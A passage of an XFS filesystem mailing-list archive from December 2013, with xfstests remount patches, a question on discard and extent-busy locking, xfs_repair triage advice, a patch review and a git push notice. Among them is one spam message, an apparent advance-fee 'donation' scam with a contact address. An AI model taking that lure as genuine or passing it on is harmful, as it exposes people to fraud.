$seqres.full` cd / -umount $TEST_DIR -_test_mount +_test_remount time3=`_access_time $testfile | tee -a $seqres.full` delta1=`expr $time2 - $time1` diff --git a/tests/generic/226 b/tests/generic/226 index 4ad56a5..1327c9e 100755 --- a/tests/generic/226 +++ b/tests/generic/226 @@ -61,8 +61,7 @@ for I in `seq 1 $loops`; do done echo -umount $SCRATCH_DEV -_scratch_mount +_scratch_remount echo "--> $loops direct 64m writes in a loop" for I in `seq 1 $loops`; do diff --git a/tests/generic/258 b/tests/generic/258 index 3aeb5ce..567a39a 100755 --- a/tests/generic/258 +++ b/tests/generic/258 @@ -61,8 +61,7 @@ fi # unmount, remount, and check the timestamp echo "Remounting to flush cache" -umount $TEST_DEV -_test_mount +_test_remount # Should yield -315593940 (prior to epoch) echo "Testing for negative seconds since epoch" diff --git a/tests/generic/306 b/tests/generic/306 index 04d28df..56313f2 100755 --- a/tests/generic/306 +++ b/tests/generic/306 @@ -66,8 +66,7 @@ touch $BINDFILE || _fail "Could not create bind mount file" touch $TARGET || _fail "Could not create symlink target" ln -s $TARGET $SYMLINK -_scratch_unmount || _fail "Could not unmount scratch device" -_scratch_mount -o ro || _fail "Could not mount scratch readonly" +_scratch_remount -o ro || _fail "Could not remount scratch readonly" # We should be able to read & write to/from these devices even on an RO fs echo "== try to create new file" -- 1.8.5.1 From jayr@google.com Wed Dec 18 12:16:15 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id B9F2A29E17 for ; Wed, 18 Dec 2013 12:16:13 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 56E6DAC002 for ; Wed, 18 Dec 2013 10:16:13 -0800 (PST) X-ASG-Debug-ID: 1387390571-04bdf00fe0f6e10001-NocioJ Received: from mail-qa0-f74.google.com (mail-qa0-f74.google.com [209.85.216.74]) by cuda.sgi.com with ESMTP id YpH6TkMzFIvxzDiV (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:16:12 -0800 (PST) X-Barracuda-Envelope-From: jayr@google.com X-Barracuda-Apparent-Source-IP: 209.85.216.74 X-Barracuda-IPDD: Level1 [google.com/209.85.216.74] Received: by mail-qa0-f74.google.com with SMTP id i13so71488qae.1 for ; Wed, 18 Dec 2013 10:16:11 -0800 (PST) X-Barracuda-IPDD: Level1 [google.com/209.85.216.74] X-Barracuda-IPDD: Level1 [google.com/209.85.216.74] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=from:to:cc:subject:date:message-id:in-reply-to:references; bh=yHXiAp5ZXG6IO/eY8scKXF4ltkdR0oXjs+c1bsbIGbI=; b=Pq1Z/h2JYQv9a5leztszEga5icsldPr1/imlgOiLScpnmKZsm0xVsnaoVU9lpwzDHD oJkeW2JLAA/+uX898TqdJ6/4rLyWBzpFAhgHG0owLUb5kszLWQU1vs3MqYuOg1u1394x 7HfkcljKInCGxK+xcMc5XZnouCIRXaOEOUzhr7wxfpcCMfSq6Gj0T7jdq7e2ijWsPsIG /OQIMTOdQmoLMHAM9YX1M5uZdLFwcRUyUUlr9mI7zzAUEQ4EloUNR9+E7sfuk6SpWjed T+SF3pN/mVsgi0FqR+csRRPOVTONgI06mGcbGiW2n2RWLIJJBXp7xJ8l3N2asa+aqrEX CyJw== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:from:to:cc:subject:date:message-id:in-reply-to :references; bh=yHXiAp5ZXG6IO/eY8scKXF4ltkdR0oXjs+c1bsbIGbI=; b=RQGBlRJP0D27ZUMmUwJhCkSbcEMw1wDwE98P/jHxnbLlmbjIESdCJZwMvz3eagt4EU KaVtXtP6je89wBVM8bIbfdt5tr15AjqjulH6WANIq4SCiJslGNlGGBGIQhVYghE+jA6Y A/36kCutMwf7Au7eKfI1phlrD/Qw8mhOGJFFUHQBC7h7j7Du7OT54pTCToVkDRkOPpU5 mXKDFyePyJBJKW4Rl9vHmYKKvYgFpEvyZWYghs50qQQFbWr4GT7Ef00IU1dnRC8VVa5A 7Htz3Z6RzpYlUKJsIzLM92+FpXxf15KtwbaBKbXYHrETlyy1ZI9rfFIfrGxp4LDpgTts Ml2w== X-Gm-Message-State: ALoCoQnkvniJA2/BzfVdCaHBQdSfLcwpjch/h822GqXLghCSNPREqqTe/sG4JiSfzYONLJq3lbviu1v8usERsAeMuwV4VEppSPNXk4qQOp+tRPSQE324YDhLD1z06mtBElvha1JiDW4dr1PFAugWIxQxKzfBu3Q8EKYVNVkbPFDfBERmNauDTbfpdfr0cq9rHRf5TmIre2Rl X-Received: by 10.236.69.35 with SMTP id m23mr9835993yhd.6.1387390571469; Wed, 18 Dec 2013 10:16:11 -0800 (PST) Received: from corp2gmr1-2.hot.corp.google.com (corp2gmr1-2.hot.corp.google.com [172.24.189.93]) by gmr-mx.google.com with ESMTPS id k45si287064yhn.4.2013.12.18.10.16.11 for (version=TLSv1.1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:16:11 -0800 (PST) Received: from jayr2.mtv.corp.google.com (jayr2.mtv.corp.google.com [172.17.130.182]) by corp2gmr1-2.hot.corp.google.com (Postfix) with ESMTP id E31845A405D; Wed, 18 Dec 2013 10:16:10 -0800 (PST) From: Junho Ryu To: xfs@oss.sgi.com Cc: branto@redhat.com, hughd@google.com, tytso@mit.edu, Junho Ryu Subject: [PATCH v3 11/12] xfstests: do not unmount before calling _check_scratch_fs() Date: Wed, 18 Dec 2013 10:16:02 -0800 X-ASG-Orig-Subj: [PATCH v3 11/12] xfstests: do not unmount before calling _check_scratch_fs() Message-Id: <1387390563-27064-11-git-send-email-jayr@google.com> X-Mailer: git-send-email 1.8.5.1 In-Reply-To: <1387390563-27064-1-git-send-email-jayr@google.com> References: <1387390563-27064-1-git-send-email-jayr@google.com> X-Barracuda-Connect: mail-qa0-f74.google.com[209.85.216.74] X-Barracuda-Start-Time: 1387390572 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143200 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature Many tests do not unmount SCRATCH_DEV before calling _check_scratch_fs(). Change generic/053 to call check a filesystem without unmounting the device. Signed-off-by: Junho Ryu --- v3: same as v2 v2: extracted from patch 9 tests/generic/053 | 2 -- 1 file changed, 2 deletions(-) diff --git a/tests/generic/053 b/tests/generic/053 index b8bd9e6..cf46a93 100755 --- a/tests/generic/053 +++ b/tests/generic/053 @@ -81,9 +81,7 @@ list_acls() echo "acls before repair:" list_acls -_do 'unmount $SCRATCH_DEV' 'umount $SCRATCH_DEV' _do 'repair filesystem' '_check_scratch_fs' -_do 'mount filesytem' '_scratch_mount' echo "acls after repair: " list_acls -- 1.8.5.1 From alex@zadarastorage.com Wed Dec 18 12:37:29 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: **** X-Spam-Status: No, score=4.9 required=5.0 tests=STOX_REPLY_TYPE, STOX_REPLY_TYPE_WITHOUT_QUOTES autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 692FE7F51 for ; Wed, 18 Dec 2013 12:37:29 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id ED4E0AC005 for ; Wed, 18 Dec 2013 10:37:28 -0800 (PST) X-ASG-Debug-ID: 1387391846-04bdf00fdff79c0001-NocioJ Received: from mail-ea0-f175.google.com (mail-ea0-f175.google.com [209.85.215.175]) by cuda.sgi.com with ESMTP id 0zHBog8H0BkyCB5H (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 10:37:27 -0800 (PST) X-Barracuda-Envelope-From: alex@zadarastorage.com X-Barracuda-Apparent-Source-IP: 209.85.215.175 Received: by mail-ea0-f175.google.com with SMTP id z10so15688ead.6 for ; Wed, 18 Dec 2013 10:37:26 -0800 (PST) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:message-id:from:to:subject:date:mime-version :content-type:content-transfer-encoding:importance; bh=Pg/q8kNGqN7yGLJ1EQ0mCBfUP0b6q6hXeQdy9/uTg20=; b=PBbCgAWHM4zELYX1M2Ry/Y6uQd06UZLKVWxhhU4jvdSpWtVRADE1xVHhHZHhy5MqDy Dj/qA4uUq4yybbnO5+hT8+6QvKLuWFu/VM+1+DZR7+qdy1UIvKD5/S7aFlaYmHy1fjdE gssmWheKRPkn7bs2rQ5Pn/laQbPOFF7qnvcjjN6+bZCnfptbe8TpKnmHwB3+sofDFuL5 /xymFsY2Hh1gHWrkDUdkYVFagxbMmKBIFLAav0m/2UJo7t9wBdSs2e279Q71XoO2Bf/J AnnslsM9FrsN9B8lKaUhIvzTSSoLPuYON4OlzA5RnpOLd8JN4tZbqPeoEaXAqD8ESU3r pUfA== X-Gm-Message-State: ALoCoQlmAK+pw+2FEF7N4E5CGaXBiS9c6hcZh347an4OhrbUaW71cOcRY0iutR0XBQvKJ5b2Fwsu X-Received: by 10.14.179.130 with SMTP id h2mr30963329eem.34.1387391846050; Wed, 18 Dec 2013 10:37:26 -0800 (PST) Received: from alyakaslap ([212.143.144.103]) by mx.google.com with ESMTPSA id m1sm2400227eeg.0.2013.12.18.10.37.25 for (version=TLSv1 cipher=ECDHE-RSA-AES128-SHA bits=128/128); Wed, 18 Dec 2013 10:37:25 -0800 (PST) Message-ID: From: "Alex Lyakas" To: Subject: Questions about XFS discard and xfs_free_extent() code (newbie) Date: Wed, 18 Dec 2013 20:37:29 +0200 X-ASG-Orig-Subj: Questions about XFS discard and xfs_free_extent() code (newbie) MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset="iso-8859-1"; reply-type=original Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal Importance: Normal X-Mailer: Microsoft Windows Live Mail 15.4.3555.308 X-MimeOLE: Produced By Microsoft MimeOLE V15.4.3555.308 X-Barracuda-Connect: mail-ea0-f175.google.com[209.85.215.175] X-Barracuda-Start-Time: 1387391847 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=STOX_REPLY_TYPE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143202 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 STOX_REPLY_TYPE STOX_REPLY_TYPE Greetings XFS developers & community, I am studying the XFS code, primarily focusing now at the free-space allocation and deallocation parts. I learned that freeing an extent happens like this: - xfs_free_extent() calls xfs_free_ag_extent(), which attempts to merge the freed extents from left and from right in the by-bno btree. Then the by-size btree is updated accordingly. - xfs_free_extent marks the original (un-merged) extent as "busy" by xfs_extent_busy_insert(). This prevents this original extent from being allocated. (Except that for metadata allocations such extent or part of it can be "unbusied", while it is still not marked for discard with XFS_EXTENT_BUSY_DISCARDED). - Once the appropriate part of the log is committed, xlog_cil_committed calls xfs_discard_extents. This discards the extents using the synchronous blkdev_issue_discard() API, and only them "unbusies" the extents. This makes sense, because we cannot allow allocating these extents until discarding completed. WRT to this flow, I have some questions: - xfs_free_extent first inserts the extent into the free-space btrees, and only then marks it as busy. How come there is no race window here? Can somebody allocate the freed extent before it is marked as busy? Or the free-space btrees somehow are locked at this point? The code says "validate the extent size is legal now we have the agf locked". I more or less see that xfs_alloc_fix_freelist() locks *something*, but I don't see xfs_free_extent() unlocking anything. - If xfs_extent_busy_insert() fails to alloc a xfs_extent_busy structure, such extent cannot be discarded, correct? - xfs_discard_extents() doesn't check the discard granularity of the underlying block device, like xfs_ioc_trim() does. So it may send a small discard request, which cannot be handled. If it would have checked the granularity, it could have avoided sending small requests. But the thing is that the busy extent might have been merged in the free-space btree into a larger extent, which is now suitable for discard. I want to attempt the following logic in xfs_discard_extents(): # search the "by-bno" free-space btree for a larger extent that fully encapsulates the busy extent (which we want to discard) # if found, check whether some other part of the larger extent is still busy (except for the current busy extent we want to discard) # if no, send discard for the larger extent Does this make send? And I think that we need to hold the larger extent locked somehow until the discard completes, to prevent allocation from the discarded range. Can anybody please comment on these questions? Thanks! Alex. From Felicia.Graybeal@ucf.edu Wed Dec 18 13:49:49 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E0F6B7F3F for ; Wed, 18 Dec 2013 13:49:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id BA6248F808E for ; Wed, 18 Dec 2013 11:49:49 -0800 (PST) X-ASG-Debug-ID: 1387396188-04cbb0416781b260001-NocioJ Received: from ucf.edu (exedge1.ucf.edu [132.170.217.238]) by cuda.sgi.com with ESMTP id eW7CrUcgNbjhZr99 (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Wed, 18 Dec 2013 11:49:48 -0800 (PST) X-Barracuda-Envelope-From: Felicia.Graybeal@ucf.edu X-Barracuda-Apparent-Source-IP: 132.170.217.238 Received: from NET5023.net.ucf.edu (10.171.143.102) by DMZ20.ucf.edu (10.69.100.13) with Microsoft SMTP Server (TLS) id 14.1.218.12; Wed, 18 Dec 2013 14:46:27 -0500 Received: from NET5014.net.ucf.edu ([fe80::b430:ddf4:3d53:4391]) by NET5023.net.ucf.edu ([fe80::6865:a224:b82c:8a70%20]) with mapi id 14.03.0123.003; Wed, 18 Dec 2013 14:49:47 -0500 From: Felicia Graybeal Subject: XMAS GIFT Thread-Topic: XMAS GIFT X-ASG-Orig-Subj: XMAS GIFT Thread-Index: Ac78Kk2lwzS+1gMxTdiJELdrBOsgfg== Date: Wed, 18 Dec 2013 19:49:46 +0000 Message-ID: <4A8C7AD11025C84ABFE387B89F32A83E2CB15F77@NET5014.net.ucf.edu> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: x-originating-ip: [10.69.100.16] Content-Type: multipart/alternative; boundary="_000_4A8C7AD11025C84ABFE387B89F32A83E2CB15F77NET5014netucfed_" MIME-Version: 1.0 To: Undisclosed recipients:; X-Barracuda-Connect: exedge1.ucf.edu[132.170.217.238] X-Barracuda-Start-Time: 1387396188 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.52 X-Barracuda-Spam-Status: No, SCORE=0.52 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA620a, HTML_MESSAGE, THREAD_INDEX, THREAD_TOPIC X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143205 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.01 THREAD_INDEX thread-index: AcO7Y8iR61tzADqsRmmc5wNiFHEOig== 0.01 THREAD_TOPIC Thread-Topic: ...(Japanese Subject)... 0.00 HTML_MESSAGE BODY: HTML included in message 0.50 BSF_SC0_SA620a Custom Rule SA620a --_000_4A8C7AD11025C84ABFE387B89F32A83E2CB15F77NET5014netucfed_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Donation for you from Mr Paul White, contact cawcula@live.com for more deta= ils --_000_4A8C7AD11025C84ABFE387B89F32A83E2CB15F77NET5014netucfed_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable


    Donation for you from Mr Paul White, contact cawcula@live.com for more details
    --_000_4A8C7AD11025C84ABFE387B89F32A83E2CB15F77NET5014netucfed_-- From david@fromorbit.com Wed Dec 18 15:34:47 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 024E07F3F for ; Wed, 18 Dec 2013 15:34:47 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id CBE448F804C for ; Wed, 18 Dec 2013 13:34:43 -0800 (PST) X-ASG-Debug-ID: 1387402478-04cb6c537d821700001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id qVJMrUv87EmKbrcF for ; Wed, 18 Dec 2013 13:34:38 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AogHAH4UslJ5LHyk/2dsb2JhbABZgwqDPLENhV2BHBd0giUBAQEDATocIxAIAxgJJQ8FJQMhE4d8B8pPFxaOfAeENgSYFYpMh0mDPyg Received: from ppp121-44-124-164.lns20.syd6.internode.on.net (HELO dastard) ([121.44.124.164]) by ipmail07.adl2.internode.on.net with ESMTP; 19 Dec 2013 08:04:37 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1VtOlG-0002JS-UN; Thu, 19 Dec 2013 08:34:34 +1100 Date: Thu, 19 Dec 2013 08:34:34 +1100 From: Dave Chinner To: Rafael Weingartner Cc: xfs@oss.sgi.com Subject: Re: XFS_REPAIR on LVM partition Message-ID: <20131218213434.GK31386@dastard> X-ASG-Orig-Subj: Re: XFS_REPAIR on LVM partition References: <20131216000141.GU31386@dastard> <20131216030537.GX31386@dastard> <20131216125402.GB10988@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1387402478 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.41 X-Barracuda-Spam-Status: No, SCORE=0.41 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=SUBJECT_FUZZY_TION X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143207 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.41 SUBJECT_FUZZY_TION Attempt to obfuscate words in Subject: [ cc'd the XFS list again - please keep problem triage on the public lists so that more than one person can help you. ] On Mon, Dec 16, 2013 at 02:53:03PM -0200, Rafael Weingartner wrote: > Today, I let the command xfs_repair /dev/... ran till it finished, I got > the following messages: > > Phase 1 - Find and verify superblock .... > > Could not verify primary superblock - not enough secondary superblocks > > with matching geometry!! The primary superblock dump looked valid, but it it couldn't find matching secondary superblocks from the contents of the primary that it found. > > attempting to find a secondary superblock..... > > ... > > .. > > ... > > ... > > found candidate secondary superblock.... > > unable to verify superblock, continuing.... And it found blocks with the correct superbloc magic numbers, but they don't match the primary superblock that was found. > > found candidate secondary superblock.... > > unable to verify superblock, continuing... > > ... > > ... > > ..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................Sorry, > > could not find valid secondary superblock > > Exiting now. > > > Should I upgrade the xfsprogs and try to run the xfs_repair again? > Or does that message mean that there is no way of recovering the filesystem? It's still possible to recover, but more info is needed first. Can you get xfs_db to dump the primary and a couple of secondary superblocks? # xfs_db -c "sb 0" -c p -c "sb 2" -c p -c "sb 7" -c p And post the output? Cheers, Dave. -- Dave Chinner david@fromorbit.com From bpm@sgi.com Wed Dec 18 15:48:00 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 358F07F3F for ; Wed, 18 Dec 2013 15:48:00 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay1.corp.sgi.com (Postfix) with ESMTP id EAFA48F8087; Wed, 18 Dec 2013 13:47:59 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id D24774266DC; Wed, 18 Dec 2013 15:47:59 -0600 (CST) Date: Wed, 18 Dec 2013 15:47:59 -0600 From: Ben Myers To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 04/11 v2] xfs: add xfs_ilock_attr_map_shared Message-ID: <20131218214759.GW1935@sgi.com> References: <20131206203006.914776999@bombadil.infradead.org> <20131206203128.663030833@bombadil.infradead.org> <20131208223610.GE31386@dastard> <20131209181612.GA22183@infradead.org> <20131209222433.GY10988@dastard> <20131210161349.GD19510@infradead.org> <20131217173334.GV1935@sgi.com> <20131218101439.GA5060@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131218101439.GA5060@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Wed, Dec 18, 2013 at 02:14:39AM -0800, Christoph Hellwig wrote: > Equivalent to xfs_ilock_data_map_shared, except for the attribute fork. > > Make xfs_getbmap use it if called for the attribute fork instead of > xfs_ilock_data_map_shared. > > Signed-off-by: Christoph Hellwig > > Index: xfs/fs/xfs/xfs_bmap_util.c > =================================================================== > --- xfs.orig/fs/xfs/xfs_bmap_util.c 2013-12-18 11:14:52.587953376 +0100 > +++ xfs/fs/xfs/xfs_bmap_util.c 2013-12-18 11:15:29.367952621 +0100 > @@ -617,22 +617,27 @@ xfs_getbmap( > return XFS_ERROR(ENOMEM); > > xfs_ilock(ip, XFS_IOLOCK_SHARED); > - if (whichfork == XFS_DATA_FORK && !(iflags & BMV_IF_DELALLOC)) { > - if (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size) { > + if (whichfork == XFS_DATA_FORK) { > + if (!(iflags & BMV_IF_DELALLOC) && > + (ip->i_delayed_blks || XFS_ISIZE(ip) > ip->i_d.di_size)) { > error = -filemap_write_and_wait(VFS_I(ip)->i_mapping); > if (error) > goto out_unlock_iolock; > + > + /* > + * Even after flushing the inode, there can still be > + * delalloc blocks on the inode beyond EOF due to > + * speculative preallocation. These are not removed This one has a 'p'. Reviewed-by: Ben Myers From bpm@oss.sgi.com Wed Dec 18 16:10:41 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-0.0 required=5.0 tests=NO_RELAYS autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: by oss.sgi.com (Postfix, from userid 46323) id 787A07F4E; Wed, 18 Dec 2013 16:10:41 -0600 (CST) From: xfs@oss.sgi.com To: xfs@oss.sgi.com Subject: [XFS updates] XFS development tree branch, xfs-extent-list-locking-fixes, created. v3.12-11696-geef334e X-Git-Refname: refs/heads/xfs-extent-list-locking-fixes X-Git-Reftype: branch X-Git-Oldrev: 0000000000000000000000000000000000000000 X-Git-Newrev: eef334e5776c8ef547ada4cec17549929fe590b4 Message-Id: <20131218221041.787A07F4E@oss.sgi.com> Date: Wed, 18 Dec 2013 16:10:40 -0600 (CST) This is an automated email from the git hooks/post-receive script. It was generated because a ref change was pushed to the repository containing the project "XFS development tree". The branch, xfs-extent-list-locking-fixes has been created at eef334e5776c8ef547ada4cec17549929fe590b4 (commit) - Log ----------------------------------------------------------------- commit eef334e5776c8ef547ada4cec17549929fe590b4 Author: Christoph Hellwig Date: Fri Dec 6 12:30:17 2013 -0800 xfs: assert that we hold the ilock for extent map access Make sure that xfs_bmapi_read has the ilock held in some way, and that xfs_bmapi_write, xfs_bmapi_delay, xfs_bunmapi and xfs_iread_extents are called with the ilock held exclusively. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 568d994e9f53657cb6b3e9c95a83c130d36f83c9 Author: Christoph Hellwig Date: Fri Dec 6 12:30:16 2013 -0800 xfs: use xfs_ilock_attr_map_shared in xfs_attr_list_int We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 683cb941598d1d81283c940c100e0ce40f494105 Author: Christoph Hellwig Date: Fri Dec 6 12:30:15 2013 -0800 xfs: use xfs_ilock_attr_map_shared in xfs_attr_get We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit da51d32d4596a14ee33917b9eca056d4bf41706a Author: Christoph Hellwig Date: Fri Dec 6 12:30:14 2013 -0800 xfs: use xfs_ilock_data_map_shared in xfs_qm_dqiterate We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit f4df8adc8325127ff015ef9c2a8f005edaaedd07 Author: Christoph Hellwig Date: Fri Dec 6 12:30:13 2013 -0800 xfs: use xfs_ilock_data_map_shared in xfs_qm_dqtobp We might not have read in the extent list at this point, so make sure we take the ilock exclusively if we have to do so. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 4f317369d46956ccd76b5d28cf66b3f8b24f3480 Author: Christoph Hellwig Date: Fri Dec 6 12:30:12 2013 -0800 xfs: take the ilock around xfs_bmapi_read in xfs_zero_remaining_bytes Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 40194ecc6d78327d98e66de3213db96ca0a31e6f Author: Ben Myers Date: Fri Dec 6 12:30:11 2013 -0800 xfs: reinstate the ilock in xfs_readdir Although it was removed in commit 051e7cd44ab8, ilock needs to be taken in xfs_readdir because we might have to read the extent list in from disk. This keeps other threads from reading from or writing to the extent list while it is being read in and is still in a transitional state. This has been associated with "Access to block zero" messages on directories with large numbers of extents resulting from excessive filesytem fragmentation, as well as extent list corruption. Unfortunately no test case at this point. Signed-off-by: Ben Myers Reviewed-by: Dave Chinner commit efa70be165497826f674846f681e6e2364af906c Author: Christoph Hellwig Date: Wed Dec 18 02:14:39 2013 -0800 xfs: add xfs_ilock_attr_map_shared Equivalent to xfs_ilock_data_map_shared, except for the attribute fork. Make xfs_getbmap use it if called for the attribute fork instead of xfs_ilock_data_map_shared. Signed-off-by: Christoph Hellwig Reviewed-by: Ben Myers Signed-off-by: Ben Myers commit 309ecac8e7c937c5811ef8f0efc14b3d1bd18775 Author: Christoph Hellwig Date: Fri Dec 6 12:30:09 2013 -0800 xfs: rename xfs_ilock_map_shared Make it clear that we're only locking against the extent map on the data fork. Also clean the function up a little bit. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 01f4f3277556d4f4f833371db0219b0ca11c5409 Author: Christoph Hellwig Date: Fri Dec 6 12:30:08 2013 -0800 xfs: remove xfs_iunlock_map_shared We can just use xfs_iunlock without any loss of clarity. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers commit 30ba7ad54335e4715d3cc9cc8f43cbf1b3535e46 Author: Christoph Hellwig Date: Fri Dec 6 12:30:07 2013 -0800 xfs: no need to lock the inode in xfs_find_handle Both the inode number and the generation do not change on a live inode. Signed-off-by: Christoph Hellwig Reviewed-by: Dave Chinner Signed-off-by: Ben Myers ----------------------------------------------------------------------- hooks/post-receive -- XFS development tree From david@fromorbit.com Wed Dec 18 16:21:23 2013 Return-Path: 